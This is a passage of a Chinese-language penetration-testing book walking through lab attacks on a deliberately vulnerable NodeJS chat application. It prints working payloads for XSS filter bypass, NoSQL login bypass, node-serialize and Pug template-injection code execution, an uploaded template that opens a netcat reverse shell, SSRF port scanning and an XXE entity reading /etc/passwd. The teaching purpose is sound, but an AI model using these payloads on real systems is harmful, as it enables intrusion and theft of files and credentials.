情况下,我们可以对输入字段使用简单的 <script>alert(1)</script> 样式攻击。
Pug 模板源代码:
p != 'No results found for '+name4
尝试输入 payload:
<script>alert(1)</script>
点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。
练习5
假设我们得到一个使用转义字符串插值和某种类型的过滤的应用程序。在下面的练习中,我们在 NodeJS 服务器中执
行规则最小的黑名单过滤脚本,删除“<”,“>”和“alert”等字符。但是,他们再次错误地将我们的转义字符串插值放在
script 标签中。如果我们可以在那里利用 JavaScript,我们就可以发现一个 XSS:
打开练习5
Pug 模板源代码
name5 = req.query.name5.replace(/[;’"<>=]|alert/g,"")
script.
var user3 = #{name5};
尝试输入 payload
你可以尝试 alert(1),但由于过滤器不起作用。你也可以尝试像 <script>alert(1)</script> 这样的东
西,但转义代码和过滤器会拦截我们。如果我们真的想获得能利用 alert(1)的 payload,我们该怎么办?
我们需要弄清楚如何绕过过滤器来插入原始 JavaScript。请记住,JavaScript 功能非常强大,并且具有许多功
能。我们可以利用此功能来提供一些新颖的 payload。绕过这些过滤器的一种方法是使用新颖的 JavaScript 表
示方法。这可以通过名为 http://www.jsfuck.com/ 的站点创建。如下所示,通过使用括号,括号,加号和感叹
号,我们可以重新创建 alert(1)。
JSF*ck Payload:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!!
[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+
[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])
[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!!
[]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])
[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
如你所知,许多浏览器已开始包含 XSS 保护机制。我们甚至可以使用这些 payload 来绕过某些浏览器保护。尝试在
Kali 之外的真实浏览器中使用它们,例如 Chrome。
在复杂的应用程序上触发 XSS 并不容易。很容易忽视或误解框架如何处理输入和输出。因此,在为 Pug/NodeJS 应
用程序执行源代码审查时,在源代码中搜索 !{ , #{ 或 ${ 有助于可能触发 XSS 的位置。了解上下文,以及是否需
要在该上下文中进行转义,这是至关重要的,我们将在以下示例中看到。
尽管这些攻击特定于 Node 和 Pug,但每种语言都存在针对 XSS 和输入验证的问题。你将无法运行漏洞扫描程序或
XSS 模糊测试工具并找到所有 XSS 漏洞。但你确实需要了解所使用的语言和框架。
从 XSS 到 shell
我经常遇到的一个问题是,我如何通过 XSS 获取 Shell?尽管有许多不同的方法可以做到这一点,但我们通常会发
现,如果我们可以让用户在内容管理系统(CMS)或类似系统中获得管理员的 XSS,那么这可能会导致系统完全受
损。可以在这里找到 Hans-Michael 完整的演练示例和代码:https://github.com/Varbaek/xsser 。 Hans-Michael
提供了一些关于重建 XSS 到 RCE 攻击的精彩示例和视频。
我喜欢使用涉及利用 JavaScript 功能的自定义红队攻击。我们知道 JavaScript 非常强大,我们在 BeEF(浏览器开发
框架)中看到过这样的功能。因此,我们可以利用所有这些功能来执行受害者不知情的攻击。这个 payload 会做些
什么?攻击的一个示例是让受害者计算机上运行的 JavaScript XSS payload 获取受害者的内部(自然)IP 地址。然
后,我们可以获取其 IP 地址并开始使用我们的 payload 扫描其内部网络。如果我们发现一个允许在没有身份验证的
情况下就可以登入的 Web 应用程序,我们就可以向该服务器发送 payload。
例如,我们的目标可能是 Jenkins 服务器,我们知道如果可以未经身份验证登录的话,几乎可以完成远程代码执行。
要查看 XSS 与 Jenkins 入侵的完整演练,请参阅第5章 - 利用社会工程攻击内网 Jenkins。
NoSQL 注入
在前两本书中,我们花了相当多的时间学习如何进行 SQL 注入和使用 SQLMap。除了对 Burp Suite 的一些混淆和集
成之外,本书对比上本书没有太大变化。相反,我想深入研究 NoSQL 注入,因为这些数据库变得越来越普遍。
MySQL,MSSQL 和 Oracle 等传统 SQL 数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的,这意味
着一个表中的数据与其他表中的数据有关。这样可以轻松执行查询,例如“列出所有在过去30天内购买东西的客户”。
对这些数据的要求是,数据的格式必须在整个数据库中保持一致。NoSQL 数据库由通常不遵循表格/关系模型的数据
组成,如 SQL 查询数据库中所示。这些称为“非结构化数据”(如图片,视频,社交媒体)的数据并不适用于我们的大
量收集数据。
NoSQL 功能:
NoSQL 数据库的类型:Couch/MongoDB
非结构化数据
水平化增长
在传统的 SQL 注入中,攻击者会尝试破坏 SQL 查询语句并在服务器端修改查询语句。使用 NoSQL 注入,攻击可以
在应用程序的其他区域中执行,而不是在传统的 SQL 注入中执行。此外,在传统的 SQL 注入中,攻击者会使用一个
标记来发起攻击。在 NoSQL 注入中,在NoSQL注入中,通常存在将字符串解析或评估为NoSQL调用的漏洞。
NoSQL 注入中的漏洞通常在以下情况下发生:(1)端点接受的 JSON 数据是从 NoSQL 数据库中请求的,以及
(2)我们能够使用 NoSQL 比较运算符操作查询来更改 NoSQL 查询。
NoSQL 注入的一个常见例子是注入类似的东西: [{"$gt":""}] 。这个 JSON 对象基本上是说运算符( $gt )大于
NULL("")。由于逻辑上一切都大于 NULL,因此 JSON 对象成为一个真正正确的语句,允许我们绕过或注入 NoSQL
查询。这相当于 SQL 注入世界中的[' or 1=1—]。在 MongoDB 中,我们可以使用以下条件运算符之一:
(>)大于 - $gt
(<)小于 - $lt
(>=)大于等于 - $gte
(<=)小于等于 - $lte
攻击客户支持系统 NoSQL 应用程序
首先,浏览聊天应用程序上的 NoSQL 工作流程:
在浏览器中,通过 Burp Suite 代理,访问聊天应用程序:http://chat:3000/nosql
尝试使用任何用户名和密码进行身份验证。查看在 Burp Suite 中的身份验证请求期间发送的 POST 流量。
在我们的聊天应用程序中,我们将看到在对/loginnosql 端点进行身份验证期间,我们的 POST 数据将包含 { "用户
名":"admin","密码": "GuessingAdminPassword" } 。在 POST 请求中使用 JSON 来验证用户是很常见的,但是
如果我们定义自己的 JSON 对象,我们可能会使用不同的条件语句来生成真正的语句。这实际上等于传统的 SQLi 1 =
1语句和绕过认证。让我们看看我们是否可以将其注入我们的应用程序。
服务器源代码
在聊天应用程序的 NoSQL 部分中,我们将像之前一样看到 JSON 的 POST 请求。因为作为黑盒测试,我们也看不到
服务器端的源代码,我们可以期望它以某种方式查询 MongoDB 后端,类似于:
db.collection(collection).find({"username":username,"password":password}).limit(1) ...
注入 NoSQL 聊天系统
正如我们从服务器端源代码中看到的那样,我们将使用用户提供的用户名/密码来搜索数据库以查找匹配项。如果我
们可以修改 POST 请求,我们可能会注入数据库查询。
在浏览器中,通过 Burp Suite 代理,访问聊天应用程序:http://chat:3000/nosql
在 Burp Suite 中打开“拦截”,单击“登录”,然后以管理员身份提交用户名,并输入密码
GuessingAdminPassword
代理流量并拦截 POST 请求
{"username":"admin","password","GuessingAdminPassword"} -->
{"username":"admin","password":{"$gt":""}}
你现在应该可以以管理员身份登录!
那么这里发生了什么呢?我们将字符串 "GuessingAdminPassword" 更改为JSON对象 {"$gt":""} ,这是 TRUE 语
句,因为大于 NULL 的所有内容都为 TRUE。这将 POST 请求更改为 {"username":"admin", "password":TRUE
} ,它自动使请求为 TRUE 并以管理员身份登录而不需要知道密码,类似 SQLi 中的 1 = 1 攻击。
高级 NoSQLi
NoSQL 注入并不新鲜,但 NodeJS 章节的目的是展示更新的框架和语言以及如何潜在地引进新的漏洞。例如,
Node.js 有一个 qs 模块,它具有将 HTTP 请求参数转换为 JSON 对象的特定语法。默认情况下,qs 模块在 Express
中使用“body-parser”中间件的一部分。
qs 模块:一个查询字符串解析和字符串化库,增加了一些安全性。[https://www.npmjs.com/package/qs]
这是什么意思?如果使用 qs 模块,如果在参数中使用括号表示法,POST 请求将在服务器端转换为 JSON。因此,看
起来像用户名 [value] = admin&password [value] = admin 的 POST 请求将转换为 {"username":
{"value":"admin"},"password":{"value":"admin" }} 。现在,qs 模块也将接受并转换 POST 参数以协助
NoSQLi:
例如,我们可以发出如下的 POST 请求:
username=admin&password[$gt]=
服务器端请求转换将转换为:
{"username": "admin", "password":{"$gt":""}
现在看起来类似于传统的 NoSQLi 攻击。
现在,我们的请求看起来与上一节中的 NoSQLi 相同。让我们看看这个操作:
转到 http://chat:3000/nosql2
打开 Burp Intercept
使用 admin 登录:
修改 POST 参数:
username=admin&password[$gt]=&submit=login
你应该可以使用 admin 登录了!你已使用 Express Framework 使用的 qs 模块解析器执行 NoSQL 注入,作为解析
器中间件的一部分。但等等,还有更多!如果你不知道要攻击哪个用户名怎么办?我们可以使用同样的攻击来查找和
登录其他帐户吗?
如果不是使用密码的话,那我们也可以尝试使用用户名吗?在这种情况下,NoSQLi POST 请求看起来像:
username[$gt]=admin&password[$gt]=&submit=login
上面的 POST 请求实际上是在数据库中查询下一个大于 admin 的用户名,并使用密码字段生成一个 TRUE 语句。如
果成功,你应该在管理员之后按字母顺序作为下一个用户登录。继续这样做,直到找到 superaccount 。
更多 NoSQL Payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html
https://www.owasp.org/index.php/Testing_for_NoSQL_injection
反序列化攻击
在过去的几年中,通过网络进行的序列化/反序列化攻击变得越来越流行。我们在 BlackHat上看到了许多不同的讨
论,发现了 Jenkins 和 Apache Struts2 等常见应用程序中的关键漏洞,并且正在开发像 ysoserial 这样工具的大量活
跃研究。那么反序列化攻击有什么厉害之处呢?
在我们开始之前,我们需要了解为什么要序列化。序列化数据有很多原因,但最常用于生成值/数据的可存储表示而
不会丢失其类型或结构。序列化将对象转换为字节流,以通过网络传输或存储。通常,转换方法涉及 XML,JSON 或
特定于该语言的序列化方法。
NodeJS 中的反序列化
很多时候,发现复杂的漏洞需要深入了解应用程序。在我们的场景中,Chat NodeJS 应用程序正在使用易受攻击的
serialize.js 版本 。可以发现这个 Node 库易受攻击,因为 “不受信任的数据被传递到 unserialize() 函数中,攻击者通
过传递一个存在 Immediately Invoked Function Expression(IIFE)的 JavaScript 对象可以引起任意代码执行。”( htt
ps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 )
让我们逐步了解攻击的细节,以便更好地了解正在发生的事情。第一,我们查看了 serialize.js 文件并快速搜索
eval( https://github.com/luin/serialize/search?utf8=%E2%9C%93&q=eval&type= )。通常,允许用户输入进入
JavaScript eval 语句是坏的消息,因为 eval() 执行原始 JavaScript。如果攻击者能够将 JavaScript 注入此语句,他
们将能够在服务器上执行远程执行代码。
其次,我们需要创建一个序列化的 payload,它将被反序列化,并通过我们的 JavaScript payload
require('child_process').exec('ls') .
{“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’,
function(error, stdout, stderr) { console.log(stdout) });}()”}
上面的 JSON 对象将通过以下的请求 (){require('child_process').exec('ls')} 进入 unserialize 函数中的 eval
语句,为我们提供远程代码执行。要注意的最后一部分是结尾括号添加了“()”,因为没有它我们的函数就不会被调
用。第一个发现此漏洞的研究员 Ajin Abraham 发现,使用立即调用的函数表达式或 IIFE( https://en.wikipedia.or
g/wiki/Immediately-invoked_function_expression )将允许在创建后执行该函数。有关此漏洞的更多详细信息,请
访问:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 。
在我们的聊天应用程序示例中,我们将查看 cookie 值,该值正在使用此易受攻击的库进行反序列化:
转到 http://chat:3000
代理 burp 中的流量并查看 cookie
识别一个 cookie 名称“donotdecodeme”
将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码
如前所述,每种语言都有其独特的地方,NodeJS 也不例外。在 Node/Express/Pug 中,你无法直接写入 Web 目
录,但是可以像在 PHP 中一样访问它。必须有一个指向文件夹的指定路径,该文件夹既可写又可访问到公共网络。
创建有效 payload
在开始之前,请记住实验中的所有这些 payload 都可以从这里复制粘贴:http://bit.ly/2qBDrFo
获取原始 payload 并修改你的 shell 执行“'DO SYSTEM COMMANDS HERE”
例:
由于原始 Cookie 已编码,我们必须通过 Burp Decoder/Encoder 对我们的 payload 进行 base64编码 *示例
payload:eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxd
注销,打开Burp拦截,并转发/(home)请求
{"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE',
function(error, stdout, stderr) {console.log(stdout)});}"}
{"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE',
function(error, stdout, stderr) { console.log(stdout) });}()"}
将 cookie 修改为新创建的 Base64 payload
转发流量,因为公用文件夹是/的路由,你应该能够打开浏览器并转到 http://chat:3000/hacked.txt
你现在可以进行远程执行代码!随意对此系统进行后期利用。首先尝试访问 /etc/passwd 。
在 node-serialize 模块的源代码中,我们可以利用函数表达式,这对于使用用户输入执行此操作的任何
JavaScript/NodeJS 应用程序来说都是一个严重的问题。这种糟糕的做法让我们攻陷了这个应用程序。
参考文献:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execu
tion/
https://github.com/luin/serialize
https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low
https://blog.websecurify.com/2017/02/hacking-node-serialize.html
模板引擎攻击——模板注入
模板引擎由于其模块化和简洁的代码与标准 HTML 相比而被更频繁地使用。模板注入是指用户输入直接传递到渲染
模板,允许修改底层模板。这可以在 wiki,WSYWIG 或电子邮件模板中恶意使用。这种情况很少发生在无意中,所
以它经常被误解为只是 XSS。模板注入通常允许攻击者访问底层操作系统以获取远程代码执行。
在下一个示例中,你将通过 Pug 对我们的 NodeJS 应用程序执行模板注入攻击。我们无意中将自己暴露给模板注入,
使用带有用户输入的元重定向,使用模板文字 ${} 直接在 Pug 中呈现。重要的是要注意模板文字允许使用换行符,
这是我们必须破坏段落标记,因为 Pug 是空格和换行符,类似于 Python 。
在 Pug 中,第一个字符或单词表示表示标签或功能的 Pug 关键字。你也可以使用缩进指定多行字符串,如下所示:
p.
这是段落缩进。
这仍然是段落标记的一部分。
以下是 HTML 和 Pug 模板的示例:
上面的示例文本显示了它在 HTML 中的外观以及相应的 Pug Markup 语言的外观。通过模板和字符串插值,我们可
以创建快速,可重用且高效的模板
模板注入示例
聊天应用程序容易受到模板注入攻击。在下面的应用程序中,我们将看看我们是否可以与 Pug 模板系统进行交互。
这通常可以通过检查我们提供的输入参数是否可以处理基本操作来完成。James Kettle 写了一篇关于攻击模板和与底
层模板系统交互的大论文( http://ubm.io/2ECTYSi )。
与 Pug 交互:
转到 http://chat:3000 并使用任何有效帐户登录
转到 http://chat:3000/directmessage 并输入用户和评论以及“发送”,接下来,返回 Direct Message 页面并尝
试将 XSS payload 输入到用户参数 <script>alert(1)</script>
http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&comment
这表明应用程序容易受到 XSS 的攻击,但我们可以与模板系统进行交互吗?
在 Burp 历史记录中,查看服务器请 request/response 的响应 /ti?user= ,并将请求发送到 Burp
Repeater(ctrl+r)
测试基本操作
我们可以通过将它传递给算术字符串来测试模板注入的 XSS 易受攻击参数。如果我们的输入被读取,它将识别它易
受模板注入的影响。这是因为模板(如编码语言)可以轻松支持评估算术运算符。
测试基本操作符:
在 Burp Repeater 中,测试 /ti 上的每个参数以进行模板注入。我们可以通过传递9乘9这样的数学运算来做
到这一点。
我们可以看到它没有用,我们没有得到81,请记住,我们的用户输入包含在段落标记内,所以我们可以假设我
们的 Pug 模板代码看起来像这样:
p Message has been sent to !{user}
利用 Pug 的特点:
正如我们之前所说,Pug 是空格分隔的(类似于 Python),换行符开始一个新的模板输入,这意味着如果我们
可以突破 Pug 中的当前行,我们可以执行新的模板代码。在这种情况下,我们将打破段落标记 <p> ,如上所
示,并执行新的恶意模板代码。为此,我们将不得不使用一些 URL 编码来利用此漏洞( http://bit.ly/2qxeDiy
)。
让我们逐步完成每个要求以执行模板注入:
首先,我们需要触发一个新行并突破当前模板。这可以使用以下字符完成:
%0a new line
其次,我们可以通过使用“=”符号来利用 Pug 中的算术函数
%3d%编码“=”符号
最后,我们可以输入我们的数学方程式
9*9数学方程式
因此,最终 payload 将如下所示:
[newline]=9*9
URL 编码:
GET /ti?user=%0a%3d9*9&comment=&link=
GET /ti?user=%0a%3d9*9 在响应正文中给出了81。你已在用户参数中发现了模板注入!让我们通过利用
JavaScript 来获取远程代码。
正如你在响应中所看到的,我们在段落标记之外有“81”而不是用户名!这意味着我们能够注入模板。
我们现在知道我们可以进行模板注入,因为我们可以执行简单的计算,但是我们需要看看是否可以执行 shell。要获
得 shell 执行,我们必须找到正确的函数来在 Node/JavaScript 中执行。
首先,我们将识别自身全局对象的根节点,然后继续确定我们可以访问哪些模块和功能。我们希望最终使用
Require 函数导入 child_process.exec 以运行操作系统命令。在 Pug 中,“=”字符允许我们输出 JavaScript
结果。我们将从访问全局根开始:
[new line]=global
使用 Burp 的解码器工具将上述表达式编码为 URL 编码,可以得到:
%0a%3d%20%67%6c%6f%62%61%6c
使用上面的 URL 编码字符串作为用户值并重新发送。
如果在提交前后请求一切顺利,我们将看到 [object global],这意味着我们可以访问全局对象。
解析全局对象:
让我们通过在全局范围内使用 Pug 迭代器‘each’来查看我们可以访问的对象和属性。记住换行符(%0a)和空格
(%20):
each val,index in global p=index
URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2
在上面的例子中,我们使用‘each’迭代器,它可以访问一个值,并且如果我们指定了数组或对象,也可以选择访
问索引。我们试图找到我们在全局对象中可以访问的对象,方法或模块。我们的最终目标是找到类
似“require”方法的东西,以允许我们导入 child_process.exec,它允许我们运行系统命令。从现在开始,我们
只是使用反复试验来识别最终会给我们 require 方法的方法或对象。
查找代码执行功能:
从上一个请求中,我们看到了全局中的所有对象以及一个名为“process”的对象。接下来,我们需要识别我们在
global.process 中可以访问的有趣对象:
each val,index in global.process p=index
URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%7
我们从所有可用的方法中选择“process”,因为我们知道它最终会导致‘require’。你可以通过选择不同的迭代方
法来尝试尝试和错误过程:
each val,index in global.process.mainModule p = index
URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2
远程执行代码:
发送此最终 payload ,我们应该在 global.process.mainModule 中看到“require”函数。我们现在可以将其设置
为使用.exec 导入‘child_process’以获取 RCE:
var x = global.process.mainModule.require
x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/accounts.txt')
URL 编码: %0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%6
在上面的例子中,我们像在 JavaScript 中一样定义变量“x”,但行开头的破折号表示无缓冲输出(隐藏)。我们
正在使用全局对象和我们最终需要的模块‘require’,这允许我们使用‘child_process’.exec 来运行系统命令。
我们将 /etc/passwd 的内容输出到 Web 公共根目录,这是我们唯一具有写入权限的目录(由应用程序创建者设
计),允许用户查看内容。我们也可以使用系统命令执行反向shell或其他任何允许的操作。
我们可以看到 http://chat:3000/accounts.txt 将包含的内容
来自 Web 服务器的 /etc/passwd。
使用此命令在系统上执行完整的 RCE 并返回 shell。
现在,我们可以对这一系列操作实现自动化吗?当然可以。有一个类似 SQLmap 的名为 Tplmap 的工具,它可以尝
试模板注入的所有不同组合:
cd /opt/tplmap
./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link="
参考:
http://blog.portswigger.net/2015/08/server-side-template-injection.html
https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/
JavaScript 和远程代码执行
远程代码执行是我们在每次入侵和 Web 应用程序渗透测试中必须寻找的。虽然 RCE 几乎可能在任何地方找到,但它
们最常见于允许上传的地方,例如:上传 web shell,一个像 Imagetragick 这样的漏洞利用,使用 Office 文件进行
XXE 攻击,基于遍历的目录上传以替换关键文件等。
传统来说,我们可能会尝试找到我们可以使用的上传区域和 shell。可以在此处找到不同类型的 webshell payload 的
绝佳列表:https://github.com/tennc/webshell 。请注意,我绝不会审查任何这些 shell 是否存在后门,所以使用它
们需要你自担风险。我遇到过很多有后门的 shell。
使用上传攻击对聊天应用程序进行攻击
在我们的实验室中,我们将在 Node 应用程序上执行上传 RCE。在我们的示例中,有一个文件上传功能,允许任何文
件上传。不幸的是,使用 Node,我们不能只通过 Web 浏览器调用文件来执行文件,就像在 PHP 中一样。因此,在
这种情况下,我们将使用动态路由端点尝试呈现 Pug 文件的内容。错误在于端点将读取文件的内容,假设它是 Pug
文件,因为默认目录存在于 Views 目录中。此端点上还存在路径遍历和本地文件读取漏洞。
在上传过程中,文件处理程序模块会将文件重命名为随机字符串,没有扩展名。在页面的上传响应内容中,存在上载
文件的服务器路径位置。使用这些信息,我们可以使用/drouting 执行模板注入以实现远程代码执行。
既然我们知道底层应用程序是 Node(JavaScript),我们可以上传什么样的 payload 来才能被 Pug 执行?回到我们之
前使用的简单示例:
首先,为 require 模块分配一个变量
-var x = global.process.mainModule.require
使用子进程模块使我们能够通过运行任何系统命令来访问操作系统功能:
-x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash')
RCE 上传攻击:
转到 http://chat:3000 并使用任何有效帐户登录
使用以下信息上传文本文件。在 Pug 中,“-”字符表示执行 JavaScript。
-var x = global.process.mainModule.require
-x('child_process')。exec('nc [Your_IP] 8888 -e / bin / bash')
通过上传文件查看 Burp 中的请求和响应。你将注意到在响应 POST 请求中上传的文件的哈希值以及引用的
drouting。
在这个模板代码中,我们将 require 函数分配给 child_process.exec,它允许我们在操作系统级别上运行命令。
此代码将使 Web 服务器连接到在端口8888上 [Your_IP] 上运行的监听器,并允许我们在 Web 服务器上运行
shell。
在攻击者计算机上,启动 shell 的 netcat 侦听器以连接回
nc -l -p 8888
我们通过在 /drouting 上运行端点来激活代码。在浏览器中,转到上传的哈希文件。 drouting 端点采用指定的
Pug 模板并呈现它。对我们来说幸运的是,我们上传的 Pug 模板包含我们的反向 Shell 。
在浏览器中,使用你从文件上载响应中恢复的文件访问 drouting 端点。我们使用目录遍历“../”来返回上一
个目录,以便能够进入包含我们的恶意文件的 uploads 文件夹:
/drouting?filename=../uploads/[你的文件哈希]
回到你的终端监听 8888 端口并在你的 shell 里操作吧!
服务器端请求伪造(SSRF)
服务器端请求伪造(SSRF)是我认为通常被误解的漏洞之一,并且在术语方面,经常与跨站点请求伪造(CSRF)混
淆。虽然这个漏洞已经存在了一段时间,但实际上还没有得到足够的讨论和重视,尤其它可以造成的相当严重的后
果。让我们来看看它是什么以及为什么会造成严重的后果。
服务器端请求伪造通常被利用以访问本地系统,进入内部网络或允许某种移动。理解 SSRF 的最简单方法是通过一个
例子讲述。假设你有一个公共 Web 应用程序,允许用户通过 URL 从 Internet 上下载配置文件图像。你登录该站
点,转到你的个人资料,然后单击 Imgur(公共图像托管服务)的更新个人资料按钮。你提供图像的 URL( 例如:h
ttps://i.imgur.com/FdtLoFI.jpg )并点击提交。接下来发生的事情是服务器会创建一个全新的请求,转到 Imgur 站
点,抓取图像(它可能会执行一些图像操作来调整图像-图像跟踪任何人的大小?),将其保存到服务器,并发送成
功消息回到用户。如你所见,我们提供了一个 URL,服务器获取该 URL 并抓取图像,并将其上传到其数据库。
我们提供了最初的 Web 应用程序的 URL,以从外部资源中获取我们的个人资料图片。但是,如果我们将图像 URL 指
向 http://127.0.0.1:80/favicon.ico 会发生什么?这将告诉服务器不是请求像 Imgur 这样的东西,而且从本地主机服
务器(它本身)获取 favicon.ico 图片文件。如果我们能够获得返回包的值是 200 或使我们的个人资料图片成为本地
的 favicon 图片,我们就知道我们可能发现了 SSRF。
由于它在80端口上工作,那么如果我们尝试连接到 http://127.0.0.1:8080 会发生什么情况(8080 是一个除
localhost 之外无法访问的端口)?这就是它变得有趣的地方。如果我们确实得到完整的 HTTP 请求/响应,并且我们
可以在本地对8080端口发出 GET 请求,那么如果我们发现了一个易受攻击的 Jenkins 或 Apache Tomcat 服务会发生
什么?即使这个端口没有被公开监听,我们可能也可以入侵这个环境。更好的是,我们或许可以开始请求内网IP:ht
tp://192.168.10.2-254 ,而不是127.0.0.1。回想一下那些返回了内网 IP 泄露的网络扫描结果,你对此不屑一顾。但
是这正是它们重新发挥作用的地方,我们可以通过它们来使用内部网络服务。
SSRF 漏洞允许你可以执行以下操作:
1. 在回环接口上访问服务
2. 扫描内部网络和与这些服务的潜在交互方式(GET/POST/HEAD)
3. 使用 FILE:// 读取服务器上的本地文件
4. 使用 AWS Rest 接口( http://bit.ly/2ELv5zZ )
5. 横向移动到内部环境中
在我们的下图中,我们发现 Web 应用程序上存在易受攻击的 SSRF,允许我们利用此漏洞:
让我们来看一个现实中的例子:
在你的聊天支持系统( http://chat:3000/ )Web 应用程序中,首先确保创建一个帐户并登录。
登录后,通过链接转到 Direct Message(DM)页面或直接通过 http://chat:3000/directmessage 。
在“链接”文本框中,放入 http://cyberspacekittens.com 等网站,然后单击预览链接。
你现在应该看到 http://cyberspacekittens.com 页面的呈现,但 URI 栏仍应指向我们的聊天应用程序。
这表明该站点容易受到 SSRF 的攻击。我们也可以尝试聊天:3000/ssrf?user=&comment=&link=http://127.0.
0.1:3000 并指向 localhost。请注意,页面呈现了,我们现在正通过有漏洞的服务器上的 localhost 访问该站
点。
我们知道应用程序本身正在监听3000端口。我们可以从外部对该系统进行 nmap 扫描,并发现当前没有其他 Web 端
口正在监听,但是哪些服务仅仅对于 localhost 可用?要搞清楚这个问题,我们需要通过127.0.0.1的所有端口强制执
行。我们可以通过使用 Burp Suite 和 Intruder 来实现这一目标。
在 Burp Suite 中,转到 Proxy/HTTP History 选项卡,找到我们上一个 SSRF 的请求包。
在 Request Body 上单击右键并发送给 Intruder。
Intruder 选项卡将亮起,转到 Intruder 选项卡,然后单击 clear。单击并突出显示端口“3000”,然后单击
add。你的 GET 请求应如下所示:
GET/ssrf?user=&comment=&link=http://127.0.0.1 :§3000§HTTP/ 1.1
单击 payload 选项卡,然后选择将 Payload 类型选择为 “Numbers”。我们将从28000端口转到28100。通常,
你将测试所有端口,但让我们在实验的时候简化它吧。
From:28000
To:28100
Step:1
点击 Start Attack
你将看到端口28017的响应长度远大于所有其他请求。如果我们打开浏览器并转到:http://chat:3000/ssrf?user=&c
omment=&link=http://127.0.0.1:28017 ,我们应该能够利用我们的 SSRF 并获得对 MongoDB Web 界面的访问权
限。
你应该能够访问所有链接,但你必须记住你需要使用 SSRF。要访问 serverStatus( http://chat:3000/serverStatus?te
xt=1 ),你必须使用 SSRF 攻击并转到此处:
http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1
服务器端请求伪造可能非常危险。虽然不是新的漏洞,但目前发现的 SSRF 漏洞数量越来越多。由于 SSRF 允许在基
础设施内进行移动,这通常会导致某些重要的发现。
其他资源:
本地的很多编码:
http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf
Bug Bounty - AirBNB
示例:http://bit.ly/2ELvJxp
XML 外部实体攻击(XXE)
普通 XML 文件
恶意 XML 文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml version="1.0" encoding="utf-8"?>
<Prod>
<!DOCTYPE test [
<Type>Book</type>
<!ENTITY xxe SYSTEM
<name>THP</name>
"file:///etc/passwd">
<id>100</id>
]>
</Prod>
<xxx>&xxe;</xxx>
XML 代表可扩展标记语言,旨在发送/存储易于阅读的数据。 XML eXternal Entities(XXE)是对应用程序中 XML 解
析器的攻击。XML 解析常见于允许文件上传,解析 Office 文档,JSON 数据甚至 Flash 类型游戏的应用程序中。当允
许 XML 解析时,不正确的验证可以授予攻击者读取文件的权限、导致拒绝服务攻击,甚至远程代码执行。从一个比
较高的维度来看,应用程序具有以下需求:1) 解析用户提供的 XML 数据,2) 实体的系统标识符部分必须在文档类型
声明(DTD)内,3) XML处理器必须验证/处理 DTD 并解析外部实体。
上面,我们有一个普通的 XML 文件和一个专门用来从系统的 /etc/passwd 文件中读取文件的恶意 XML。我们将看
看是否可以在真实的 XML 请求中注入恶意 XML 请求。
XXE 实验:
